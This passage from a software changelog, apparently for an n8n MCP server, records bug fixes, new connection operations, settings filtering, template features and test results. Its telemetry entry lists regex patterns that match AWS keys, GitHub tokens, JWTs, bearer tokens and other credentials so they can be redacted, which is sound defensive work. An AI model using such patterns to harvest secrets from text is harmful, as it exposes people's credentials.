5163 | - **Coverage**: 90.98% statements, 89.86% branches, 93.02% functions
5164 | - **Quality**: Integration tests against real n8n API prevent regression
5165 | - **New Tests**:
5166 | - 21 tests for TypeError prevention (Issue #275)
5167 | - 8 tests for rewireConnection operation
5168 | - 8 tests for smart parameters
5169 | - 20 integration tests against real n8n API:
5170 | - **Multi-output nodes (sourceIndex preservation)**:
5171 | - Switch node rewiring with index preservation
5172 | - IF node empty array preservation on removal
5173 | - Switch node removing first case (production-breaking bug scenario)
5174 | - Sequential operations on Switch node
5175 | - Filter node connection rewiring
5176 | - **Multi-input nodes (targetIndex preservation)**:
5177 | - Merge node removing connection to input 0
5178 | - Merge node removing middle connection (inputs 0, 2 preserved)
5179 | - Merge node replacing source connections
5180 | - Merge node sequential operations
5181 |
5182 | ### Technical Details
5183 |
5184 | **TypeError Prevention (Issue #275):**
5185 | ```typescript
5186 | // Layer 1: Defensive utility function
5187 | export function getNodeTypeAlternatives(nodeType: string): string[] {
5188 | // Return empty array for invalid inputs instead of crashing
5189 | if (!nodeType || typeof nodeType !== 'string' || nodeType.trim() === '') {
5190 | return [];
5191 | }
5192 | // ... rest of function
5193 | }
5194 |
5195 | // Layer 2: Enhanced validation
5196 | if (param === '') {
5197 | errors.push(`String parameters cannot be empty. Parameter '${key}' has value: ""`);
5198 | }
5199 | ```
5200 |
5201 | **Smart Parameters Resolution:**
5202 | ```typescript
5203 | // Resolve branch parameter for IF nodes
5204 | if (operation.branch !== undefined && operation.sourceIndex === undefined) {
5205 | if (sourceNode?.type === 'n8n-nodes-base.if') {
5206 | sourceIndex = operation.branch === 'true' ? 0 : 1;
5207 | // sourceOutput remains 'main'
5208 | }
5209 | }
5210 |
5211 | // Resolve case parameter for Switch nodes
5212 | if (operation.case !== undefined && operation.sourceIndex === undefined) {
5213 | sourceIndex = operation.case;
5214 | }
5215 | ```
5216 |
5217 | **Real n8n IF Node Structure:**
5218 | ```json
5219 | "IF": {
5220 | "main": [
5221 | [/* true branch connections, index 0 */],
5222 | [/* false branch connections, index 1 */]
5223 | ]
5224 | }
5225 | ```
5226 |
5227 | ### Migration Guide
5228 |
5229 | **Before (v2.15.7):**
5230 | ```typescript
5231 | // Old way: updateConnection (REMOVED)
5232 | {type: "updateConnection", source: "Webhook", target: "Handler", updates: {...}}
5233 |
5234 | // Old way: Multi-output nodes (still works)
5235 | {type: "addConnection", source: "IF", target: "Success", sourceIndex: 0}
5236 | ```
5237 |
5238 | **After (v2.16.0):**
5239 | ```typescript
5240 | // New way: rewireConnection
5241 | {type: "rewireConnection", source: "Webhook", from: "OldHandler", to: "NewHandler"}
5242 |
5243 | // New way: Smart parameters (recommended)
5244 | {type: "addConnection", source: "IF", target: "Success", branch: "true"}
5245 | {type: "addConnection", source: "IF", target: "Error", branch: "false"}
5246 | {type: "addConnection", source: "Switch", target: "Handler", case: 0}
5247 | ```
5248 |
5249 | ### Impact Summary
5250 |
5251 | **Production Error Reduction:**
5252 | - Issue #275 fix: -323 errors (-57.4% of total production errors)
5253 | - Helps 127 users (76.5% of users experiencing errors)
5254 |
5255 | **UX Improvements:**
5256 | - Semantic parameters make multi-output node connections intuitive
5257 | - `rewireConnection` provides clear intent for connection changes
5258 | - Integration tests ensure production reliability
5259 |
5260 | **Breaking Changes:**
5261 | - `updateConnection` removed (use `rewireConnection` or manual remove+add)
5262 |
5263 | ### References
5264 |
5265 | - **Issue #272**: Connection operations improvements (Phase 0 + Phase 1)
5266 | - **Issue #204**: Differential update failures on Windows
5267 | - **Issue #275**: TypeError in getNodeTypeAlternatives
5268 | - **Issue #136**: Partial Workflow Updates fail with "Cannot convert undefined or null to object" (resolved by defensive type guards)
5269 | - **Commits**:
5270 | - Phase 0: cfe3c5e, 653f395, 2a85000
5271 | - Phase 1: f9194ee, ee125c5, a7bfa73, aeaba3b, 34bafe2, c6e0e52, f78f53e
5272 | - Issue #275/#136: f139d38
5273 |
5274 | ## [2.15.7] - 2025-10-05
5275 |
5276 | ### Fixed
5277 |
5278 | - **🐛 CRITICAL: Issue #272, #204 - Connection Operations Phase 0 Fixes**
5279 |
5280 | **Bug #1: Multi-Output Node Routing Broken**
5281 | - **Problem**: `addConnection` ignored `sourceIndex` parameter due to `||` operator treating `0` as falsy
5282 | - **Impact**: IF nodes, Switch nodes, and all conditional routing completely broken
5283 | - **Root Cause**: Used `operation.sourceIndex || 0` instead of `operation.sourceIndex ?? 0`
5284 | - **Fix**: Changed to nullish coalescing (`??`) operator to properly handle explicit `0` values
5285 | - **Added**: Defensive array validation before index access
5286 | - **Result**: Multi-output nodes now work reliably (rating improved 3/10 → 9/10)
5287 | - **Test Coverage**: 6 comprehensive tests covering IF nodes, Switch nodes, and parallel execution
5288 |
5289 | **Bug #2: Server Crashes from Missing `updates` Object**
5290 | - **Problem**: `updateConnection` without `updates` object caused server crash with "Cannot read properties of undefined"
5291 | - **Impact**: Malformed requests from AI agents crashed the MCP server
5292 | - **Fix**: Added runtime validation with comprehensive error message
5293 | - **Error Message Quality**:
5294 | - Shows what was provided (JSON.stringify of operation)
5295 | - Explains what's wrong and why
5296 | - Provides correct format with example
5297 | - Suggests alternative approach (removeConnection + addConnection)
5298 | - **Result**: No crashes, self-service troubleshooting enabled (rating improved 2/10 → 8/10)
5299 | - **Test Coverage**: 2 tests for missing and invalid `updates` object
5300 |
5301 | ### Improved
5302 |
5303 | - **Connection Operations Overall Experience**: 4.5/10 → 8.5/10 (+89% improvement)
5304 | - **Error Handling**: Helpful, actionable error messages instead of cryptic crashes
5305 | - **Documentation**: Updated tool docs with Phase 0 fix notes and new pitfall warnings
5306 | - **Developer Experience**: Better use of nullish coalescing, defensive programming patterns
5307 |
5308 | ### Test Coverage
5309 |
5310 | - Total Tests: 126/126 passing (100%)
5311 | - New Tests: 8 comprehensive tests for Phase 0 fixes
5312 | - Coverage: 91.16% statements, 88.14% branches, 92.85% functions
5313 | - Test Quality: All edge cases covered, strong assertions, independent test isolation
5314 |
5315 | ### Technical Details
5316 |
5317 | **Multi-Output Node Fix:**
5318 | ```typescript
5319 | // Before (BROKEN):
5320 | const sourceIndex = operation.sourceIndex || 0; // 0 treated as falsy!
5321 |
5322 | // After (FIXED):
5323 | const sourceIndex = operation.sourceIndex ?? 0; // explicit 0 preserved
5324 | ```
5325 |
5326 | **Runtime Validation Fix:**
5327 | ```typescript
5328 | // Added comprehensive validation:
5329 | if (!operation.updates || typeof operation.updates !== 'object') {
5330 | throw new Error(/* helpful 15-line error message */);
5331 | }
5332 | ```
5333 |
5334 | ### References
5335 |
5336 | - Issue #272: Connection operations failing (Polish language issue report)
5337 | - Issue #204: Differential update failures on Windows
5338 | - Analysis Document: `docs/local/connection-operations-deep-dive-and-improvement-plan.md` (2176 lines)
5339 | - Testing: Hands-on validation with n8n-mcp-tester agent
5340 | - Code Review: Comprehensive review against improvement plan
5341 |
5342 | ### Phase 1 Roadmap
5343 |
5344 | Phase 0 addressed critical bugs. Future Phase 1 improvements planned:
5345 | - Add `rewireConnection` operation for intuitive connection rewiring
5346 | - Add smart parameters (`branch` for IF nodes, `case` for Switch nodes)
5347 | - Enhanced error messages with spell-checking
5348 | - Deprecation path for `updateConnection`
5349 |
5350 | ## [2.15.6] - 2025-10-05
5351 |
5352 | ### Fixed
5353 | - **Issue #269: Missing addNode Examples** - Added comprehensive examples for addNode operation in MCP tool documentation
5354 | - Problem: Claude AI didn't know how to use addNode operation correctly due to zero examples in documentation
5355 | - Solution: Added 4 progressive examples to `n8n_update_partial_workflow` tool documentation:
5356 | 1. Basic addNode (minimal configuration)
5357 | 2. Complete addNode (full parameters including typeVersion)
5358 | 3. addNode + addConnection combo (most common pattern)
5359 | 4. Batch operation (multiple nodes + connections)
5360 | - Impact: AI assistants can now correctly use addNode without errors or trial-and-error
5361 |
5362 | - **Issue #270: Apostrophes in Node Names** - Fixed workflow diff operations failing when node names contain special characters
5363 | - Root Cause: `findNode()` method used exact string matching without normalization, causing escaped vs unescaped character mismatches
5364 | - Example: Default Manual Trigger node name "When clicking 'Execute workflow'" failed when JSON-RPC sent escaped version "When clicking \\'Execute workflow\\'"
5365 | - Solution: Added `normalizeNodeName()` helper that unescapes special characters (quotes, backslashes) and normalizes whitespace
5366 | - Affected Operations: 8 operations fixed - addConnection, removeConnection, updateConnection, removeNode, updateNode, moveNode, enableNode, disableNode
5367 | - Error Messages: Enhanced all validation methods with `formatNodeNotFoundError()` helper showing available nodes and suggesting node IDs for special characters
5368 | - Duplicate Prevention: Fixed `validateAddNode()` to use normalization when checking for duplicate node names
5369 |
5370 | ### Changed
5371 | - **WorkflowDiffEngine String Normalization** - Enhanced to handle edge cases from code review
5372 | - Regex Processing Order: Fixed critical bug - now processes backslashes BEFORE quotes (prevents multiply-escaped character failures)
5373 | - Whitespace Handling: Comprehensive normalization of tabs, newlines, and mixed whitespace (prevents collision edge cases)
5374 | - Documentation: Added detailed JSDoc warnings about normalization collision risks with examples
5375 | - Best Practice: Documentation recommends using node IDs over names for special characters
5376 |
5377 | ### Technical Details
5378 | - **Normalization Algorithm**: 4-step process
5379 | 1. Trim leading/trailing whitespace
5380 | 2. Unescape backslashes (MUST be first!)
5381 | 3. Unescape single and double quotes
5382 | 4. Normalize all whitespace to single spaces
5383 | - **Error Message Format**: Now shows node IDs (first 8 chars) and suggests using IDs for special characters
5384 | - **Collision Prevention**: Duplicate checking uses same normalization to prevent subtle bugs
5385 |
5386 | ### Test Coverage
5387 | - Unit tests: 120/120 passing (up from 116)
5388 | - New test scenarios:
5389 | - Tabs in node names
5390 | - Newlines in node names
5391 | - Mixed whitespace (tabs + newlines + spaces)
5392 | - Escaped vs unescaped matching (core Issue #270 scenario)
5393 | - Coverage: 90.11% statements (up from 90.05%)
5394 |
5395 | ### Code Review
5396 | - All 6 MUST FIX and SHOULD FIX recommendations implemented:
5397 | - ✅ Fixed regex processing order (critical bug)
5398 | - ✅ Added comprehensive whitespace tests
5399 | - ✅ Fixed duplicate checking normalization
5400 | - ✅ Enhanced all 6 validation method error messages
5401 | - ✅ Added comprehensive JSDoc documentation
5402 | - ✅ Added escaped vs unescaped test case
5403 | - Final review: APPROVED FOR MERGE (production-ready)
5404 |
5405 | ### Impact
5406 | - **Workflow Operations**: All 8 affected operations now handle special characters correctly
5407 | - **User Experience**: Clear error messages with actionable suggestions
5408 | - **Reliability**: Comprehensive normalization prevents subtle bugs
5409 | - **Documentation**: Tool documentation updated to reflect fix (v2.15.6+)
5410 |
5411 | ## [2.15.5] - 2025-10-04
5412 |
5413 | ### Added
5414 | - **Phase 5 Integration Tests** - Comprehensive workflow management tests (16 scenarios)
5415 | - `delete-workflow.test.ts`: 3 test scenarios
5416 | - Successful deletion
5417 | - Error handling for non-existent workflows
5418 | - Cleanup verification (workflow actually deleted from n8n)
5419 | - `list-workflows.test.ts`: 13 test scenarios
5420 | - No filters (all workflows)
5421 | - Filter by active status (true/false)
5422 | - Pagination (first page, cursor, last page)
5423 | - Limit variations (1, 50, 100)
5424 | - Exclude pinned data
5425 | - Empty results handling
5426 | - Sort order consistency verification
5427 |
5428 | ### Fixed
5429 | - **handleDeleteWorkflow** - Now returns deleted workflow data in response
5430 | - Before: Returned only success message
5431 | - After: Returns deleted workflow object per n8n API specification
5432 | - Impact: MCP tool consumers can access deleted workflow data for confirmation, logging, or undo operations
5433 |
5434 | - **handleListWorkflows Tags Filter** - Fixed tags parameter format for n8n API compliance
5435 | - Before: Sent tags as array `?tags[]=tag1&tags[]=tag2` (non-functional)
5436 | - After: Converts to comma-separated string `?tags=tag1,tag2` per n8n OpenAPI spec
5437 | - Impact: Tags filtering now works correctly when listing workflows
5438 | - Implementation: `input.tags.join(',')` conversion in handler
5439 |
5440 | - **N8nApiClient.deleteWorkflow** - Return type now matches n8n API specification
5441 | - Before: `Promise<void>`
5442 | - After: `Promise<Workflow>` (returns deleted workflow object)
5443 | - Impact: Aligns with n8n API behavior where DELETE returns the deleted resource
5444 |
5445 | ### Changed
5446 | - **WorkflowListParams.tags** - Type changed for API compliance
5447 | - Before: `tags?: string[] | null` (incorrect)
5448 | - After: `tags?: string | null` (comma-separated string per n8n OpenAPI spec)
5449 | - Impact: Type safety now matches actual API behavior
5450 |
5451 | ### Technical Details
5452 | - **API Compliance**: All fixes align with n8n OpenAPI specification
5453 | - **Backward Compatibility**: Handler maintains existing MCP tool interface (array input converted internally)
5454 | - **Type Safety**: TypeScript types now accurately reflect n8n API contracts
5455 |
5456 | ### Test Coverage
5457 | - Integration tests: 71/71 passing (Phase 1-5 complete)
5458 | - Total test scenarios across all phases: 87
5459 | - New coverage:
5460 | - Workflow deletion: 3 scenarios
5461 | - Workflow listing with filters: 13 scenarios
5462 |
5463 | ### Impact
5464 | - **DELETE workflows**: Now returns workflow data for verification
5465 | - **List with tags**: Tag filtering now functional (was broken before)
5466 | - **API alignment**: Implementation correctly matches n8n OpenAPI specification
5467 | - **Test reliability**: All integration tests passing in CI
5468 |
5469 | ## [2.15.4] - 2025-10-04
5470 |
5471 | ### Fixed
5472 | - **Workflow Settings Updates** - Enhanced `cleanWorkflowForUpdate` to enable settings updates while maintaining Issue #248 protection
5473 | - Changed from always overwriting settings with `{}` to filtering to whitelisted properties
5474 | - Filters settings to OpenAPI spec whitelisted properties: `saveExecutionProgress`, `saveManualExecutions`, `saveDataErrorExecution`, `saveDataSuccessExecution`, `executionTimeout`, `errorWorkflow`, `timezone`, `executionOrder`
5475 | - Removes unsafe properties like `callerPolicy` that cause "additional properties" API errors
5476 | - Maintains backward compatibility: empty object `{}` still used when no settings provided
5477 | - Resolves conflict between preventing Issue #248 errors and enabling legitimate settings updates
5478 |
5479 | - **Phase 4 Integration Tests** - Fixed workflow update tests to comply with n8n API requirements
5480 | - Updated all `handleUpdateWorkflow` tests to include required fields: `name`, `nodes`, `connections`, `settings`
5481 | - Tests now fetch current workflow state before updates to obtain required fields
5482 | - Removed invalid "Update Connections" test that attempted to set empty connections on multi-node workflow (architecturally invalid)
5483 | - All 42 workflow update test scenarios now passing
5484 |
5485 | ### Changed
5486 | - **Settings Filtering Strategy** - Updated `cleanWorkflowForUpdate()` implementation
5487 | - Before: Always set `settings = {}` (prevented all settings updates)
5488 | - After: Filter to whitelisted properties (allows valid updates, blocks problematic ones)
5489 | - Impact: Users can now update workflow settings via API while staying protected from validation errors
5490 |
5491 | ### Technical Details
5492 | - **Whitelist-based Filtering**: Implements principle of least privilege for settings properties
5493 | - **Reference**: Properties validated against n8n OpenAPI specification `workflowSettings` schema
5494 | - **Security**: More secure than blacklist approach (fails safe, unknown properties filtered)
5495 | - **Performance**: Filtering adds <1ms overhead per workflow update
5496 |
5497 | ### Test Coverage
5498 | - Unit tests: 72/72 passing (100% coverage for n8n-validation)
5499 | - Integration tests: 433/433 passing (Phase 4 complete)
5500 | - Test scenarios:
5501 | - Settings filtering with safe/unsafe property combinations
5502 | - Empty settings handling
5503 | - Backward compatibility verification
5504 | - Multi-node workflow connection validation
5505 |
5506 | ### Impact
5507 | - **Settings Updates**: Users can now update workflow settings (timezone, executionOrder, etc.) via API
5508 | - **Issue #248 Protection Maintained**: `callerPolicy` and other problematic properties still filtered
5509 | - **Test Reliability**: All Phase 4 integration tests passing in CI
5510 | - **API Compliance**: Tests correctly implement n8n API requirements for workflow updates
5511 |
5512 | ## [2.15.3] - 2025-10-03
5513 |
5514 | ### Added
5515 | - **Error Message Capture in Telemetry** - Enhanced telemetry tracking to capture actual error messages for better debugging
5516 | - Added optional `errorMessage` parameter to `trackError()` method
5517 | - Comprehensive error message sanitization to protect sensitive data
5518 | - Updated all production and test call sites to pass error messages
5519 | - Error messages now stored in telemetry events table for analysis
5520 |
5521 | ### Security
5522 | - **Enhanced Error Message Sanitization** - Comprehensive security hardening for telemetry data
5523 | - **ReDoS Prevention**: Early truncation to 1500 chars before regex processing
5524 | - **Full URL Redaction**: Changed from `[URL]/path` to `[URL]` to prevent API structure leakage
5525 | - **Correct Sanitization Order**: URLs → specific credentials → emails → generic patterns
5526 | - **Credential Pattern Detection**: Added AWS keys, GitHub tokens, JWT, Bearer tokens
5527 | - **Error Handling**: Try-catch wrapper with `[SANITIZATION_FAILED]` fallback
5528 | - **Stack Trace Truncation**: Limited to first 3 lines to reduce attack surface
5529 |
5530 | ### Fixed
5531 | - **Missing Error Messages**: Resolved issue where 272+ weekly validation errors had no error messages captured
5532 | - **Data Leakage**: Fixed URL path preservation exposing API versions and user IDs
5533 | - **Email Exposure**: Fixed sanitization order allowing emails in URLs to leak
5534 | - **ReDoS Vulnerability**: Removed complex capturing regex patterns that could cause performance issues
5535 |
5536 | ### Changed
5537 | - **Breaking Change**: `trackError()` signature updated with 4th parameter `errorMessage?: string`
5538 | - All internal call sites updated in single commit (atomic change)
5539 | - Not backwards compatible but acceptable as all code is internal
5540 |
5541 | ### Technical Details
5542 | - **Sanitization Patterns**:
5543 | - AWS Keys: `AKIA[A-Z0-9]{16}` → `[AWS_KEY]`
5544 | - GitHub Tokens: `ghp_[a-zA-Z0-9]{36,}` → `[GITHUB_TOKEN]`
5545 | - JWT: `eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+` → `[JWT]`
5546 | - Bearer Tokens: `Bearer [^\s]+` → `Bearer [TOKEN]`
5547 | - Emails: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}` → `[EMAIL]`
5548 | - Long Keys: `\b[a-zA-Z0-9_-]{32,}\b` → `[KEY]`
5549 | - Generic Credentials: `password/api_key/token=<value>` → `<field>=[REDACTED]`
5550 |
5551 | ### Test Coverage
5552 | - Added 18 new security-focused tests
5553 | - Total telemetry tests: 269 passing
5554 | - Coverage: 90.75% for telemetry module
5555 | - All security patterns validated with edge cases
5556 |
5557 | ### Performance
5558 | - Early truncation prevents ReDoS attacks
5559 | - Simplified regex patterns (no complex capturing groups)
5560 | - Sanitization adds <1ms overhead per error
5561 | - Final message truncated to 500 chars max
5562 |
5563 | ### Impact
5564 | - **Debugging**: Error messages now available for root cause analysis
5565 | - **Security**: Comprehensive protection against credential leakage
5566 | - **Performance**: Protected against ReDoS attacks
5567 | - **Reliability**: Try-catch ensures sanitization never breaks telemetry
5568 |
5569 | ## [2.15.2] - 2025-10-03
5570 |
5571 | ### Fixed
5572 | - **Template Search Performance & Reliability** - Enhanced `search_templates_by_metadata` with production-ready improvements
5573 | - **Ordering Stability**: Implemented CTE with VALUES clause to preserve exact Phase 1 ordering
5574 | - Prevents ordering discrepancies between ID selection and data fetch phases
5575 | - Ensures deterministic results across query phases
5576 | - **Defensive ID Validation**: Added type safety filters before Phase 2 query
5577 | - Validates only positive integers are used in the CTE
5578 | - Logs warnings for filtered invalid IDs
5579 | - **Performance Monitoring**: Added detailed timing metrics (phase1Ms, phase2Ms, totalMs)
5580 | - Enables quantifying optimization benefits
5581 | - Debug logging for all search operations
5582 | - **DRY Refactoring**: Extracted `buildMetadataFilterConditions` helper method
5583 | - Eliminates duplication between `searchTemplatesByMetadata` and `getMetadataSearchCount`
5584 | - Centralized filter-building logic
5585 |
5586 | ### Added
5587 | - **Comprehensive Test Coverage** - 31 new unit tests achieving 100% coverage for changed code
5588 | - `buildMetadataFilterConditions` - All filter combinations (11 tests)
5589 | - Performance logging validation (3 tests)
5590 | - ID filtering edge cases - negative, zero, non-integer, null (7 tests)
5591 | - `getMetadataSearchCount` - Shared helper usage (7 tests)
5592 | - Two-phase query optimization verification (3 tests)
5593 | - Fixed flaky integration tests with deterministic ordering using unique view counts
5594 |
5595 | ### Performance
5596 | - Query optimization maintains sub-1ms Phase 1 performance
5597 | - Two-phase approach prevents timeout on large template sets
5598 | - CTE-based ordering adds negligible overhead (<1ms)
5599 |
5600 | ### Test Results
5601 | - Unit tests: 31 new tests, all passing
5602 | - Integration tests: 36 passing, 1 skipped
5603 | - **Coverage**: 100% for changed code (previously 36.58% patch coverage)
5604 |
5605 | ## [2.15.0] - 2025-10-02
5606 |
5607 | ### 🚀 Major Features
5608 |
5609 | #### P0-R3: Pre-extracted Template Configurations
5610 | - **Template-Based Configuration System** - 2,646 real-world node configurations from popular templates
5611 | - Pre-extracted node configurations from all workflow templates
5612 | - Ranked by template popularity (views)
5613 | - Includes metadata: complexity, use cases, credentials, expressions
5614 | - Query performance: <1ms (vs 30-60ms with previous system)
5615 | - Database size increase: ~513 KB for 2,000+ configurations
5616 |
5617 | ### Breaking Changes
5618 |
5619 | #### Removed: `get_node_for_task` Tool
5620 | - **Reason**: Only 31 hardcoded tasks, 28% failure rate in production
5621 | - **Replacement**: Template-based examples with 2,646 real configurations
5622 |
5623 | #### Migration Guide
5624 |
5625 | **Before (v2.14.7):**
5626 | ```javascript
5627 | // Get configuration for a task
5628 | get_node_for_task({ task: "receive_webhook" })
5629 | ```
5630 |
5631 | **After (v2.15.0):**
5632 | ```javascript
5633 | // Option 1: Search nodes with examples
5634 | search_nodes({
5635 | query: "webhook",
5636 | includeExamples: true
5637 | })
5638 | // Returns: Top 2 real template configs per node
5639 |
5640 | // Option 2: Get node essentials with examples
5641 | get_node_essentials({
5642 | nodeType: "nodes-base.webhook",
5643 | includeExamples: true
5644 | })
5645 | // Returns: Top 3 real template configs with full metadata
5646 | ```
5647 |
5648 | ### Added
5649 |
5650 | - **Enhanced `search_nodes` Tool**
5651 | - New parameter: `includeExamples` (boolean, default: false)
5652 | - Returns top 2 real-world configurations per node from popular templates
5653 | - Includes: configuration, template name, view count
5654 |
5655 | - **Enhanced `get_node_essentials` Tool**
5656 | - New parameter: `includeExamples` (boolean, default: false)
5657 | - Returns top 3 real-world configurations with full metadata
5658 | - Includes: configuration, source template, complexity, use cases, credentials info
5659 |
5660 | - **Database Schema**
5661 | - New table: `template_node_configs` - Pre-extracted node configurations
5662 | - New view: `ranked_node_configs` - Easy access to top 5 configs per node
5663 | - Optimized indexes for fast queries (<1ms)
5664 |
5665 | - **Template Processing**
5666 | - Automatic config extraction during `npm run fetch:templates`
5667 | - Standalone extraction mode: `npm run fetch:templates:extract`
5668 | - Expression detection ({{...}}, $json, $node)
5669 | - Complexity analysis and use case extraction
5670 | - Ranking by template popularity
5671 | - Auto-creates `template_node_configs` table if missing
5672 |
5673 | - **Comprehensive Test Suite**
5674 | - 85+ tests covering all aspects of template configuration system
5675 | - Integration tests for database operations and end-to-end workflows
5676 | - Unit tests for tool parameters, extraction logic, and ranking algorithm
5677 | - Fixtures for consistent test data across test suites
5678 | - Test documentation in P0-R3-TEST-PLAN.md
5679 |
5680 | ### Removed
5681 |
5682 | - Tool: `get_node_for_task` (see Breaking Changes above)
5683 | - Tool documentation: `get-node-for-task.ts`
5684 |
5685 | ### Fixed
5686 |
5687 | - **`search_nodes` includeExamples Support**
5688 | - Fixed `includeExamples` parameter not working due to missing FTS5 table
5689 | - Added example support to `searchNodesLIKE` fallback method
5690 | - Now returns template-based examples in all search scenarios
5691 | - Affects 100% of search_nodes calls (database lacks nodes_fts table)
5692 |
5693 | ### Deprecated
5694 |
5695 | - `TaskTemplates` service marked for removal in v2.16.0
5696 | - `list_tasks` tool marked for deprecation (use template search instead)
5697 |
5698 | ### Performance
5699 |
5700 | - Query time: <1ms for pre-extracted configs (vs 30-60ms for on-demand generation)
5701 | - 30-60x faster configuration lookups
5702 | - 85x more configuration examples (2,646 vs 31)
5703 |
5704 | ## [2.14.7] - 2025-10-02
5705 |
5706 | ### Fixed
5707 | - **Issue #248: Settings Validation Error** - Fixed "settings must NOT have additional properties" API errors
5708 | - Added `callerPolicy` property to `workflowSettingsSchema` to support valid n8n workflow setting
5709 | - Implemented whitelist-based settings filtering in `cleanWorkflowForUpdate()` to prevent API errors
5710 | - Filter removes UI-only properties (e.g., `timeSavedPerExecution`) that cause validation failures
5711 | - Only whitelisted properties are sent to n8n API: `executionOrder`, `timezone`, `saveDataErrorExecution`, `saveDataSuccessExecution`, `saveManualExecutions`, `saveExecutionProgress`, `executionTimeout`, `errorWorkflow`, `callerPolicy`
5712 | - Resolves workflow update failures caused by workflows fetched from n8n containing non-standard properties
5713 | - Added 6 comprehensive unit tests covering settings filtering scenarios
5714 |
5715 | - **Issue #249: Misleading AddConnection Error Messages** - Enhanced parameter validation with helpful error messages
5716 | - Detect common parameter mistakes: using `sourceNodeId`/`targetNodeId` instead of correct `source`/`target`
5717 | - Improved error messages include:
5718 | - Identification of wrong parameter names with correction guidance
5719 | - Examples of correct usage
5720 | - List of available nodes when source/target not found
5721 | - Error messages now actionable instead of cryptic (was: "Source node not found: undefined")
5722 | - Added 8 comprehensive unit tests for parameter validation scenarios
5723 |
5724 | - **P0-R1: Universal Node Type Normalization** - Eliminates 80% of validation errors
5725 | - Implemented `NodeTypeNormalizer` utility for consistent node type handling
5726 | - Automatically converts short forms to full forms (e.g., `nodes-base.webhook` → `n8n-nodes-base.webhook`)
5727 | - Applied normalization across all workflow validation entry points
5728 | - Updated workflow validator, handlers, and repository for universal normalization
5729 | - Fixed test expectations to match normalized node type format
5730 | - Resolves the single largest source of validation errors in production
5731 |
5732 | ### Added
5733 | - `NodeTypeNormalizer` utility class for universal node type normalization
5734 | - `normalizeToFullForm()` - Convert any node type variation to canonical form
5735 | - `normalizeWithDetails()` - Get normalization result with metadata
5736 | - `normalizeWorkflowNodeTypes()` - Batch normalize all nodes in a workflow
5737 | - Settings whitelist filtering in `cleanWorkflowForUpdate()` with comprehensive null-safety
5738 | - Enhanced `validateAddConnection()` with proactive parameter validation
5739 | - 14 new unit tests for issues #248 and #249 fixes
5740 |
5741 | ### Changed
5742 | - Node repository now uses `NodeTypeNormalizer` for all lookups
5743 | - Workflow validation applies normalization before structure checks
5744 | - Workflow diff engine validates connection parameters before processing
5745 | - Settings filtering applied to all workflow update operations
5746 |
5747 | ### Performance
5748 | - No performance impact - normalization adds <1ms overhead per workflow
5749 | - Settings filtering is O(9) - negligible impact
5750 |
5751 | ### Test Coverage
5752 | - n8n-validation tests: 73/73 passing (100% coverage)
5753 | - workflow-diff-engine tests: 110/110 passing (89.72% coverage)
5754 | - Total: 183 tests passing
5755 |
5756 | ### Impact
5757 | - **Issue #248**: Eliminates ALL settings validation errors for workflows with non-standard properties
5758 | - **Issue #249**: Provides clear, actionable error messages reducing user frustration
5759 | - **P0-R1**: Reduces validation error rate by 80% (addresses 4,800+ weekly errors)
5760 | - Combined impact: Expected overall error rate reduction from 5-10% to <2%
5761 |
5762 | ## [2.14.6] - 2025-10-01
5763 |
5764 | ### Enhanced
5765 | - **Webhook Error Messages**: Replaced generic "Please try again later or contact support" messages with actionable guidance
5766 | - Error messages now extract execution ID and workflow ID from failed webhook triggers
5767 | - Guide users to use `n8n_get_execution({id: executionId, mode: 'preview'})` for efficient debugging
5768 | - Format: "Workflow {workflowId} execution {executionId} failed. Use n8n_get_execution({id: '{executionId}', mode: 'preview'}) to investigate the error."
5769 | - When no execution ID available: "Workflow failed to execute. Use n8n_list_executions to find recent executions, then n8n_get_execution with mode='preview' to investigate."
5770 |
5771 | ### Added
5772 | - New error formatting functions in `n8n-errors.ts`:
5773 | - `formatExecutionError()` - Creates execution-specific error messages with debugging guidance
5774 | - `formatNoExecutionError()` - Provides guidance when execution context unavailable
5775 | - Enhanced `McpToolResponse` type with optional `executionId` and `workflowId` fields
5776 | - Error handling documentation in `n8n-trigger-webhook-workflow` tool docs
5777 | - 30 new comprehensive tests for error message formatting and webhook error handling
5778 |
5779 | ### Changed
5780 | - `handleTriggerWebhookWorkflow` now extracts execution context from error responses
5781 | - `getUserFriendlyErrorMessage` returns actual server error messages instead of generic text
5782 | - Tool documentation type enhanced with optional `errorHandling` field
5783 |
5784 | ### Fixed
5785 | - Test expectations updated to match new error message format (handlers-workflow-diff.test.ts)
5786 |
5787 | ### Benefits
5788 | - **Fast debugging**: Preview mode executes in <50ms (vs seconds for full data)
5789 | - **Efficient**: Uses ~500 tokens (vs 50K+ tokens for full execution data)
5790 | - **Safe**: No timeout or token limit risks
5791 | - **Actionable**: Clear next steps for users to investigate failures
5792 |
5793 | ### Impact
5794 | - Eliminates unhelpful "contact support" messages
5795 | - Provides specific, actionable debugging guidance
5796 | - Reduces debugging time by directing users to efficient tools
5797 | - 100% backward compatible - only improves error messages
5798 |
5799 | ## [2.14.5] - 2025-09-30
5800 |
5801 | ### Added
5802 | - **Intelligent Execution Data Filtering**: Major enhancement to `n8n_get_execution` tool to handle large datasets without exceeding token limits
5803 | - **Preview Mode**: Shows data structure, counts, and size estimates without actual data (~500 tokens)
5804 | - **Summary Mode**: Returns 2 sample items per node (safe default, ~2-5K tokens)
5805 | - **Filtered Mode**: Granular control with node filtering and custom item limits
5806 | - **Full Mode**: Complete data retrieval (explicit opt-in)
5807 | - Smart recommendations based on data size (guides optimal retrieval strategy)
5808 | - Structure-only mode (`itemsLimit: 0`) to see data schema without values
5809 | - Node-specific filtering with `nodeNames` parameter
5810 | - Input data inclusion option for debugging transformations
5811 | - Automatic size estimation and token consumption guidance
5812 |
5813 | ### Enhanced
5814 | - `n8n_get_execution` tool with new parameters:
5815 | - `mode`: 'preview' | 'summary' | 'filtered' | 'full'
5816 | - `nodeNames`: Filter to specific nodes
5817 | - `itemsLimit`: Control items per node (0=structure, -1=unlimited, default=2)
5818 | - `includeInputData`: Include input data for debugging
5819 | - Legacy `includeData` parameter mapped to new modes for backward compatibility
5820 | - Tool documentation with comprehensive examples and best practices
5821 | - Type system with new interfaces: `ExecutionMode`, `ExecutionPreview`, `ExecutionFilterOptions`, `FilteredExecutionResponse`
5822 |
5823 | ### Technical Improvements
5824 | - New `ExecutionProcessor` service with intelligent filtering logic
5825 | - Smart data truncation with metadata (`hasMoreData`, `truncated` flags)
